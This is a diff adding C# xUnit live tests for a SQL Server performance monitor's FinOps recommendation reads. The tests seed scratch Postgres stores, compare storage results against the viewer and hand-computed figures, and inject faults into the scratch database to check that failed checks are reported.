+     target_recovery_time_seconds, delayed_durability, is_accelerated_database_recovery_on,
+     is_memory_optimized_enabled, is_optimized_locking_on)
+VALUES ($1, $2, $3, $4, $5,
+        'ONLINE', 140, 'SQL_Latin1_General_CP1_CI_AS', 'FULL', FALSE,
+        FALSE, FALSE, TRUE, TRUE,
+        FALSE, TRUE, 'OFF',
+        FALSE, TRUE, $6, FALSE, FALSE,
+        FALSE, FALSE, FALSE, 'NOTHING', 'CHECKSUM',
+        60, 'DISABLED', FALSE,
+        FALSE, FALSE)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, encrypted);
+
+    private static Task Cpu(NpgsqlConnection c, CancellationToken ct, int id, string name, DateTime at, int pct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $5, $6, 1)",
+            CollectionIdGenerator.Next(), at, id, name, at, pct);
+
+    private static Task Memory(NpgsqlConnection c, CancellationToken ct, int id, string name, DateTime at, decimal total) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name, total_physical_memory_mb, total_server_memory_mb, target_server_memory_mb, buffer_pool_mb, max_workers_count, current_workers_count) VALUES ($1, $2, $3, $4, 65536, $5, 60000, 9000, 512, 100)",
+            CollectionIdGenerator.Next(), at, id, name, total);
+
+    private static Task Index(NpgsqlConnection c, CancellationToken ct, DateTime at, int n, string index, decimal reservedMb, string compression) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, schema_name, object_id, table_name, index_id, index_name, index_type_desc, key_columns, is_unique, is_primary_key, reserved_mb, total_rows, user_seeks, user_scans, user_lookups, user_updates, row_lock_wait_count, row_lock_wait_in_ms, partition_count, sqlserver_start_time, data_compression_desc) VALUES ($1,$2,$3,$4,'SalesA',5,'dbo',$5,$6,1,$7,'CLUSTERED','[Id]',TRUE,FALSE,$8,1000000,10,10,0,10,0,0,1,$9,$10)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, 1000 + n, "T" + n, index, reservedMb, at.Date.AddDays(-400), compression);
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsRecommendations", "golden.json");
+
+    private static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+        {
+            Directory.CreateDirectory(Path.GetDirectoryName(GoldenSourcePath())!);
+            File.WriteAllText(GoldenSourcePath(), actual);
+        }
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsRecommendations", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsRecommendationsReadsLiveTests.cs b/Darling/Darling.Tests/FinOpsRecommendationsReadsLiveTests.cs
new file mode 100644
index 0000000000..79d9f4b3eb
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsRecommendationsReadsLiveTests.cs
@@ -0,0 +1,412 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Live pin for the storage-side recommendation reads over the golden test's seeded store. The edition facts and the
+/// engine edition must equal what the viewer reads for the same server; the memory P95 and the query-stats coverage
+/// are compared with values worked out by hand from the seed. Server A is an Enterprise standalone server, server B
+/// an Azure SQL Database, server C has no rows.
+/// </summary>
+public sealed class FinOpsRecommendationsReadsLiveTests
+{
+    private const int TimeoutSeconds = 30;
+
+    [Fact]
+    public async Task StorageReads_MatchTheViewerAndTheSeed_ForServersAbAndC()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps recommendation reads test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await FinOpsRecommendationsGoldenLiveTests.SeedAsync(connection, ct);
+        }
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+        var cutoff = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-7), DateTimeKind.Unspecified);
+
+        foreach (var id in new[]
+                 {
+                     FinOpsRecommendationsGoldenLiveTests.ServerIdA,
+                     FinOpsRecommendationsGoldenLiveTests.ServerIdB,
+                     FinOpsRecommendationsGoldenLiveTests.ServerIdC,
+                 })
+        {
+            var stored = await DarlingFinOpsRecommendationsReader.GetEditionFactsAsync(dataSource, id, TimeoutSeconds, ct);
+            var viewed = await viewer.GetEditionFactsAsync(id, ct);
+            Assert.Equal(viewed.HasValue, stored.HasValue);
+            if (viewed.HasValue)
+            {
+                Assert.Equal(viewed.Value.Edition, stored!.Value.Edition);
+                Assert.Equal(viewed.Value.MajorVersion, stored.Value.MajorVersion);
+                Assert.Equal(viewed.Value.CpuCount, stored.Value.CpuCount);
+                Assert.Equal(viewed.Value.AgReplicaRole, stored.Value.AgReplicaRole);
+                Assert.Equal(viewed.Value.IsHadrEnabled, stored.Value.IsHadrEnabled);
+            }
+
+            Assert.Equal(
+                await viewer.GetRecommendationEngineEditionAsync(id, ct),
+                await DarlingFinOpsRecommendationsReader.GetEngineEditionAsync(dataSource, id, TimeoutSeconds, ct));
+        }
+
+        Assert.Null(await DarlingFinOpsRecommendationsReader.GetEditionFactsAsync(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdC, TimeoutSeconds, ct));
+
+        var a = await DarlingFinOpsRecommendationsReader.GetEditionFactsAsync(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdA, TimeoutSeconds, ct);
+        Assert.Equal(new FinOpsEditionFacts("Enterprise Edition (64-bit)", 14, 16, "Standalone", false), a);
+
+        /* Memory P95: 20 samples, value 13000 + 20 * (i % 5), so five values (13000..13080) four times each. The
+           sorted position of the 95th percentile is 0.95 * 19 = 18.05, which lies between ranks 18 and 19, both
+           13080, so P95 = 13080. The samples run from 1200 minutes back to 60 minutes back, a span of 1140 minutes
+           = 19 hours, so the window reads "20 samples over 19 hours". Servers A and B carry the same series. */
+        var expected = (13080, 20L, "20 samples over 19 hours");
+        Assert.Equal(expected, await DarlingFinOpsRecommendationsReader.GetMemoryP95Async(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdA, cutoff, TimeoutSeconds, ct));
+        Assert.Equal(expected, await DarlingFinOpsRecommendationsReader.GetMemoryP95Async(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdB, cutoff, TimeoutSeconds, ct));
+
+        /* Server C has no memory rows: nothing sampled. */
+        Assert.Equal((0, 0L, RightSizingWindow.Describe(0, TimeSpan.Zero)),
+            await DarlingFinOpsRecommendationsReader.GetMemoryP95Async(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdC, cutoff, TimeoutSeconds, ct));
+
+        /* Coverage: server A's oldest query_stats row is 8 days old, at or before the 7-day cutoff, so true.
+           Servers B and C have no query_stats rows, so false. */
+        Assert.True(await DarlingFinOpsRecommendationsReader.HasQueryStatsCoverageAsync(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdA, TimeoutSeconds, ct));
+        Assert.False(await DarlingFinOpsRecommendationsReader.HasQueryStatsCoverageAsync(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdB, TimeoutSeconds, ct));
+        Assert.False(await DarlingFinOpsRecommendationsReader.HasQueryStatsCoverageAsync(dataSource, FinOpsRecommendationsGoldenLiveTests.ServerIdC, TimeoutSeconds, ct));
+    }
+
+    [Fact]
+    public async Task MaintenanceCpuStorageTierAndReservedReads_MatchTheSeed_ForServersAbAndC()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps recommendation reads test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await FinOpsRecommendationsGoldenLiveTests.SeedAsync(connection, ct);
+        }
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+        var cutoff = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-7), DateTimeKind.Unspecified);
+        var idA = FinOpsRecommendationsGoldenLiveTests.ServerIdA;
+        var idB = FinOpsRecommendationsGoldenLiveTests.ServerIdB;
+        var idC = FinOpsRecommendationsGoldenLiveTests.ServerIdC;
+
+        /* Maintenance runs (server A only; the seed puts no jobs on B or C). WeeklyRebuildA ran long 5 times at 4000 s
+           against a 60 s average: avg 4000, max 4000, historical 60, 5 long runs. NightlyLoadA ran long 3 times at
+           100, 101 and 101 s: the average is 302 / 3 = 100.67, which converts to 101; max 101, historical 60, 3 long
+           runs. HourlyPurgeA ran long only twice, so the HAVING filter drops it. Most long runs first. */
+        Assert.Equal(
+            new[]
+            {
+                new MaintenanceJobRun("WeeklyRebuildA", 4000L, 4000L, 60L, 5),
+                new MaintenanceJobRun("NightlyLoadA", 101L, 101L, 60L, 3),
+            },
+            await DarlingFinOpsRecommendationsReader.GetMaintenanceJobRunsAsync(dataSource, idA, cutoff, TimeoutSeconds, ct));
+        Assert.Empty(await DarlingFinOpsRecommendationsReader.GetMaintenanceJobRunsAsync(dataSource, idB, cutoff, TimeoutSeconds, ct));
+        Assert.Empty(await DarlingFinOpsRecommendationsReader.GetMaintenanceJobRunsAsync(dataSource, idC, cutoff, TimeoutSeconds, ct));
+
+        /* Storage-tier I/O (server A only). Six samples each for OrdersA and SalesA, three hours apart from 2 hours
+           back to 17 hours back, every sample 400 reads and 200 writes: 2400 reads and 1200 writes. OrdersA stalls
+           2 ms per read and 1 ms per write: 2400 * 2 = 4800 and 1200 * 1 = 1200. SalesA stalls 20 ms per read:
+           2400 * 20 = 48000, and 1 ms per write: 1200. Both pass the over-1000-reads filter; ArchiveA (500 reads)
+           does not. The first and last sample are 15 hours apart (17 - 2); the query has no ORDER BY, so sort by name. */
+        var tiers = (await DarlingFinOpsRecommendationsReader.GetStorageTierIoAsync(dataSource, idA, cutoff, TimeoutSeconds, ct))
+            .OrderBy(t => t.DatabaseName, StringComparer.Ordinal).ToList();
+        Assert.Equal(new[] { "OrdersA", "SalesA" }, tiers.Select(t => t.DatabaseName).ToArray());
+        Assert.Equal(new[] { 2400L, 2400L }, tiers.Select(t => t.TotalReads).ToArray());
+        Assert.Equal(new[] { 4800L, 48000L }, tiers.Select(t => t.TotalStallReadMs).ToArray());
+        Assert.Equal(new[] { 1200L, 1200L }, tiers.Select(t => t.TotalWrites).ToArray());
+        Assert.Equal(new[] { 1200L, 1200L }, tiers.Select(t => t.TotalStallWriteMs).ToArray());
+        Assert.Equal(new[] { 6L, 6L }, tiers.Select(t => t.WindowSamples).ToArray());
+        foreach (var tier in tiers)
+        {
+            Assert.Equal(TimeSpan.FromHours(15), tier.LastSample!.Value - tier.FirstSample!.Value);
+            Assert.InRange(DateTime.UtcNow - DateTime.SpecifyKind(tier.LastSample.Value, DateTimeKind.Utc), TimeSpan.FromHours(2), TimeSpan.FromHours(2.5));
+        }
+
+        Assert.Empty(await DarlingFinOpsRecommendationsReader.GetStorageTierIoAsync(dataSource, idB, cutoff, TimeoutSeconds, ct));
+        Assert.Empty(await DarlingFinOpsRecommendationsReader.GetStorageTierIoAsync(dataSource, idC, cutoff, TimeoutSeconds, ct));
+
+        /* CPU P95 (servers A and B carry the same series): 30 samples, value cpu[i % 10] for
+           { 20, 22, 24, 21, 23, 22, 20, 24, 22, 21 }, so 20 x 6, 21 x 6, 22 x 9, 23 x 3, 24 x 6. Sorted, the 95th
+           percentile sits at 0.95 * 29 = 27.55, between ranks 27 and 28, both 24 (ranks 24 to 29 are the 24s), so
+           P95 = 24. The samples run 45 minutes apart, 29 gaps = 1305 minutes = 21.75 hours, which reads "21 hours". */
+        var cpuExpected = (24m, "31 samples over 22 hours");
+        Assert.Equal(cpuExpected, await DarlingFinOpsRecommendationsReader.GetCpuP95Async(dataSource, idA, cutoff, TimeoutSeconds, ct));
+        Assert.Equal(cpuExpected, await DarlingFinOpsRecommendationsReader.GetCpuP95Async(dataSource, idB, cutoff, TimeoutSeconds, ct));
+        Assert.Null(await DarlingFinOpsRecommendationsReader.GetCpuP95Async(dataSource, idC, cutoff, TimeoutSeconds, ct));
+
+        /* Reserved capacity: the same 31 samples (three full cycles of ten and a 31st of 20, the 24-hour CPU rule needs
+           the oldest sample 23 hours old). Sum = 3 * 219 + 20 = 677, so the mean is 677 / 31 = 21.8387096774193548.
+           Sum of squares = 3 * 4815 + 400 = 14845, so the squared deviations total 14845 - 677^2 / 31 = 60.19355, the
+           sample variance is 60.19355 / 30 = 2.00645 and the deviation sqrt = 1.41649. */
+        foreach (var id in new[] { idA, idB })
+        {
+            var reserved = await DarlingFinOpsRecommendationsReader.GetReservedCapacityAsync(dataSource, id, cutoff, TimeoutSeconds, ct);
+            Assert.NotNull(reserved);
+            Assert.InRange(reserved!.Value.AvgCpuPct, 21.83870m, 21.83872m);
+            Assert.InRange(reserved.Value.StddevCpuPct, 1.41649m, 1.41650m);
+        }
+
+        Assert.Null(await DarlingFinOpsRecommendationsReader.GetReservedCapacityAsync(dataSource, idC, cutoff, TimeoutSeconds, ct));
+
+        /* The 7-day CPU rule keeps a 24-hour span, and the seed's 31 samples cover only 22.5 hours, so the Hardware CPU row
+           is (rightly) silent on them. One more sample for server A two days back gives the rule a watched week; every
+           figure below is read again AFTER it, so the checks above are unaffected. */
+        await using (var extra = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await extra.OpenAsync(ct);
+            await using var older = new NpgsqlCommand(
+                "CREATE TEMP TABLE older_cpu AS SELECT * FROM cpu_utilization_stats WHERE server_id = " + idA + " LIMIT 1;" +
+                "UPDATE older_cpu SET collection_id = 999002, collection_time = now() AT TIME ZONE 'UTC' - interval '2 days';" +
+                "INSERT INTO cpu_utilization_stats SELECT * FROM older_cpu", extra);
+            await older.ExecuteNonQueryAsync(ct);
+        }
+
+        /* The viewer's rows are the independent check on the builders: the Storage values through the builders give
+           the same rows the viewer returns. Server A is a 16-core server with 98304 MB of physical memory. */
+        var (avg, stddev) = (await DarlingFinOpsRecommendationsReader.GetReservedCapacityAsync(dataSource, idA, cutoff, TimeoutSeconds, ct))!.Value;
+        var builtReserved = FinOpsRecommendationFigures.ReservedCapacity(avg, stddev);
+        Assert.NotNull(builtReserved);
+        var viewedA = await viewer.GetRecommendationsAsync(idA, 1000m, ct);
+        var viewedReserved = Assert.Single(viewedA, r => r.Category == "Cloud");
+        Assert.Equal(builtReserved!.Finding, viewedReserved.Finding);
+        Assert.Equal(builtReserved.Detail, viewedReserved.Detail);
+
+        var (p95Cpu, cpuWindow) = (await DarlingFinOpsRecommendationsReader.GetCpuP95Async(dataSource, idA, cutoff, TimeoutSeconds, ct))!.Value;
+        var builtCpu = Assert.Single(FinOpsRecommendationFigures.VmRightSizing(p95Cpu, cpuWindow, 16, 98304, 0, 0L, "no samples", 1000m));
+        var viewedCpu = Assert.Single(viewedA, r => r.Category == "Hardware" && r.Finding.StartsWith("CPU:", StringComparison.Ordinal));
+        Assert.Equal(builtCpu.Finding, viewedCpu.Finding);
+        Assert.Equal(builtCpu.Detail, viewedCpu.Detail);
+        Assert.Equal(builtCpu.EstMonthlySavings, viewedCpu.EstMonthlySavings);
+    }
+
+    [Fact]
+    public async Task DatabaseEncryptionFactsAndAllocatedTotal_MatchTheViewer_ForServersAbAndC()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps recommendation reads test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await FinOpsRecommendationsGoldenLiveTests.SeedAsync(connection, ct);
+
+            /* Two extra server A rows, in this test's own store only: a database that exists only in a capture 30 hours
+               before the latest one, and a database in the latest capture whose encryption flag is NULL. */
+            await using var latestCommand = new NpgsqlCommand("SELECT MAX(capture_time) FROM database_config WHERE server_id = $1", connection);
+            latestCommand.Parameters.Add(new NpgsqlParameter<int> { TypedValue = FinOpsRecommendationsGoldenLiveTests.ServerIdA });
+            var latest = (DateTime)(await latestCommand.ExecuteScalarAsync(ct))!;
+            await InsertConfigAsync(connection, ct, latest.AddHours(-30), "OldOnlyA", true);
+            await InsertConfigAsync(connection, ct, latest, "NullFlagA", null);
+        }
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+        var idA = FinOpsRecommendationsGoldenLiveTests.ServerIdA;
+        var idB = FinOpsRecommendationsGoldenLiveTests.ServerIdB;
+        var idC = FinOpsRecommendationsGoldenLiveTests.ServerIdC;
+
+        foreach (var id in new[] { idA, idB, idC })
+        {
+            var stored = await DarlingFinOpsRecommendationsReader.GetDatabaseEncryptionFactsAsync(dataSource, id, TimeoutSeconds, ct);
+            var viewed = (await viewer.GetLatestDatabaseConfigAsync(id, cancellationToken: ct))
+                .Select(r => new DatabaseEncryptionFact(r.DatabaseName, r.StateDesc, r.IsEncrypted)).ToList();
+            Assert.Equal(viewed, stored);
+
+            /* Allocated total and its decimal scale. */
+            var storedTotal = (await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(dataSource, id, TimeoutSeconds, ct))?.AllocatedMb ?? 0m;
+            var viewedTotal = DatabaseSizeRow.AllocatedTotalMb(await viewer.GetDatabaseSizeLatestAsync(id, cancellationToken: ct));
+            Assert.Equal(viewedTotal, storedTotal);
+            Assert.Equal((decimal.GetBits(viewedTotal)[3] >> 16) & 0xFF, (decimal.GetBits(storedTotal)[3] >> 16) & 0xFF);
+        }
+
+        /* Server A's latest capture: the four seeded databases plus NullFlagA, compared as a set (the store's text ordering depends on its collation; the ordered
+           parity check against the viewer above pins that order). OldOnlyA is only in the older capture, so it is absent. The NULL flag
+           reads as not encrypted. Servers B and C carry no configuration rows. */
+        var a = await DarlingFinOpsRecommendationsReader.GetDatabaseEncryptionFactsAsync(dataSource, idA, TimeoutSeconds, ct);
+        Assert.DoesNotContain(a, f => f.DatabaseName == "OldOnlyA");
+        Assert.Equal(
+            new[]
+            {
+                new DatabaseEncryptionFact("NullFlagA", "ONLINE", false),
+                new DatabaseEncryptionFact("OrdersA", "ONLINE", true),
+                new DatabaseEncryptionFact("SalesA", "ONLINE", true),
+                new DatabaseEncryptionFact("app_dev_a", "ONLINE", false),
+                new DatabaseEncryptionFact("qa1_a", "ONLINE", false),
+            }.OrderBy(f => f.DatabaseName, StringComparer.Ordinal).ToArray(),
+            a.OrderBy(f => f.DatabaseName, StringComparer.Ordinal).ToArray());
+        Assert.Empty(await DarlingFinOpsRecommendationsReader.GetDatabaseEncryptionFactsAsync(dataSource, idB, TimeoutSeconds, ct));
+        Assert.Empty(await DarlingFinOpsRecommendationsReader.GetDatabaseEncryptionFactsAsync(dataSource, idC, TimeoutSeconds, ct));
+    }
+
+    private static Task InsertConfigAsync(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, bool? encrypted) =>
+        DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO database_config
+    (config_id, capture_time, server_id, server_name, database_name,
+     state_desc, compatibility_level, collation_name, recovery_model, is_read_only,
+     is_auto_close_on, is_auto_shrink_on, is_auto_create_stats_on, is_auto_update_stats_on,
+     is_auto_update_stats_async_on, is_read_committed_snapshot_on, snapshot_isolation_state,
+     is_parameterization_forced, is_query_store_on, is_encrypted, is_trustworthy_on, is_db_chaining_on,
+     is_broker_enabled, is_cdc_enabled, is_mixed_page_allocation_on, log_reuse_wait_desc, page_verify_option,
+     target_recovery_time_seconds, delayed_durability, is_accelerated_database_recovery_on,
+     is_memory_optimized_enabled, is_optimized_locking_on)
+VALUES ($1, $2, $3, $4, $5,
+        'ONLINE', 140, 'SQL_Latin1_General_CP1_CI_AS', 'FULL', FALSE,
+        FALSE, FALSE, TRUE, TRUE,
+        FALSE, TRUE, 'OFF',
+        FALSE, TRUE, $6, FALSE, FALSE,
+        FALSE, FALSE, FALSE, 'NOTHING', 'CHECKSUM',
+        60, 'DISABLED', FALSE,
+        FALSE, FALSE)",
+            CollectionIdGenerator.Next(), at, FinOpsRecommendationsGoldenLiveTests.ServerIdA, FinOpsRecommendationsGoldenLiveTests.ServerNameA, db,
+            encrypted.HasValue ? encrypted.Value : (object)DBNull.Value);
+
+    [Fact]
+    public async Task Composer_ReportsAFailedCheck_ToTheHook_AndKeepsTheRest()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps recommendation reads test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await FinOpsRecommendationsGoldenLiveTests.SeedAsync(connection, ct, DateTime.UtcNow);
+        }
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var idA = FinOpsRecommendationsGoldenLiveTests.ServerIdA;
+        var baseline = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(dataSource, idA, 1000m, TimeoutSeconds, cancellationToken: ct);
+        Assert.Contains(baseline, r => r.Category == "Maintenance");
+
+        /* The maintenance read selects from the v_running_jobs view; dropping the view on this scratch store breaks that one read. */
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await using var drop = new NpgsqlCommand("DROP VIEW v_running_jobs CASCADE", connection);
+            await drop.ExecuteNonQueryAsync(ct);
+        }
+
+        var failed = new System.Collections.Generic.List<string>();
+        var after = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(
+            dataSource, idA, 1000m, TimeoutSeconds, (label, ex) =>
+            {
+                Assert.NotNull(ex);
+                failed.Add(label);
+            }, cancellationToken: ct);
+
+        Assert.Equal(new[] { "Maintenance window" }, failed.ToArray());
+        Func<FinOpsRecommendation, string> key = r => $"{r.Severity}|{r.Category}|{r.Finding}|{r.Detail}|{r.EstMonthlySavings}";
+        Assert.Equal(
+            baseline.Where(r => r.Category != "Maintenance").Select(key).ToArray(),
+            after.Select(key).ToArray());
+    }
+
+    [Fact]
+    public void TheStorageComposer_KeepsOneDebugLinePerFailedCheck()
+    {
+        var src = System.IO.File.ReadAllText(System.IO.Path.Combine(
+            System.IO.Path.GetDirectoryName(SourcePath())!, "..", "PerformanceMonitor.Darling.Storage", "FinOps",
+            "DarlingFinOpsRecommendationsReader.cs"));
+        foreach (var label in new[]
+        {
+            "Enterprise features", "CPU right-sizing", "Memory right-sizing", "Compression", "Dormant databases",
+            "Dev/test detection", "Maintenance window", "VM right-sizing", "Storage tier", "Reserved capacity",
+        })
+        {
+            Assert.Contains($"Recommendation check failed ({label}): {{ex.Message}}", src, StringComparison.Ordinal);
+            Assert.Contains($"onCheckFailed?.Invoke(\"{label}\", ex);", src, StringComparison.Ordinal);
+        }
+    }
+
+    private static string SourcePath([System.Runtime.CompilerServices.CallerFilePath] string path = "") => path;
+
+    [Fact]
+    public async Task Composer_DoesNotReportTheVmCpuFallback_WhileTheVmRowsStillEmit()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps recommendation reads test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await FinOpsRecommendationsGoldenLiveTests.SeedAsync(connection, ct, DateTime.UtcNow);
+        }
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var idA = FinOpsRecommendationsGoldenLiveTests.ServerIdA;
+        var baseline = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(dataSource, idA, 1000m, TimeoutSeconds, cancellationToken: ct);
+
+        /* Rows older than 30 hours raise a division by zero when the 7-day P95 statement (the only one that orders the CPU
+           column with PERCENTILE_CONT) projects them. The 24-hour utilization read never touches them, and since the CPU
+           sample-span rule (the 7-day span read the Hardware CPU row needs) now reads the same view over 7 days, the poison
+           is scoped to the P95 statement by its text: a poison on every read of the column would also fail the span read and
+           withhold the CPU row for a reason this test is not about. So only the inner fallback of the VM check fires. */
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await using var cols = new NpgsqlCommand(
+                "SELECT string_agg(CASE WHEN column_name = 'sqlserver_cpu_utilization' " +
+                "THEN 'CASE WHEN collection_time < now() - interval ''30 hours'' AND current_query() LIKE ''%PERCENTILE_CONT%'' THEN (sqlserver_cpu_utilization / 0)::int ELSE sqlserver_cpu_utilization END AS sqlserver_cpu_utilization' " +
+                "ELSE quote_ident(column_name) END, ', ' ORDER BY ordinal_position) FROM information_schema.columns " +
+                "WHERE table_schema = current_schema() AND table_name = 'cpu_utilization_stats'", connection);
+            var list = (string)(await cols.ExecuteScalarAsync(ct))!;
+            await using var swap = new NpgsqlCommand(
+                "DROP VIEW v_cpu_utilization_stats CASCADE; CREATE VIEW v_cpu_utilization_stats AS SELECT " + list + " FROM cpu_utilization_stats;" +
+                "CREATE TEMP TABLE old_cpu AS SELECT * FROM cpu_utilization_stats WHERE server_id = " + idA + " LIMIT 1;" +
+                "UPDATE old_cpu SET collection_id = 999001, collection_time = now() - interval '3 days';" +
+                "INSERT INTO cpu_utilization_stats SELECT * FROM old_cpu", connection);
+            await swap.ExecuteNonQueryAsync(ct);
+        }
+
+        var failed = new System.Collections.Generic.List<string>();
+        var after = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(
+            dataSource, idA, 1000m, TimeoutSeconds, (label, _) => failed.Add(label), cancellationToken: ct);
+
+        Assert.DoesNotContain("VM right-sizing", failed);
+        Assert.Contains(after, r => r.Category == "Hardware" && r.Finding.StartsWith("CPU:", StringComparison.Ordinal));
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsRecommendationsSecondaryReplicaLiveTests.cs b/Darling/Darling.Tests/FinOpsRecommendationsSecondaryReplicaLiveTests.cs
new file mode 100644
index 0000000000..19bd10a64a
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsRecommendationsSecondaryReplicaLiveTests.cs
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: every test seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// #5558: the FinOps Recommendations list leaves the per-database findings of a database this node holds only as a
+/// secondary copy in an Availability Group to the primary. Over the golden store, server A has an idle database
+/// (ArchiveA), two dev/test names (app_dev_a, qa1_a), two TDE databases (SalesA, OrdersA), a 2 GB uncompressed index in
+/// SalesA, and a low-latency database (OrdersA). Each test seeds the stored Availability Group snapshots for server A,
+/// reads through the storage composer, the viewer and the MCP tool, and compares with the same read over no snapshots.
+/// </summary>
+public sealed class FinOpsRecommendationsSecondaryReplicaLiveTests
+{
+    private const int TimeoutSeconds = 30;
+    private const string BaseSkip = "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps secondary replica test.";
+
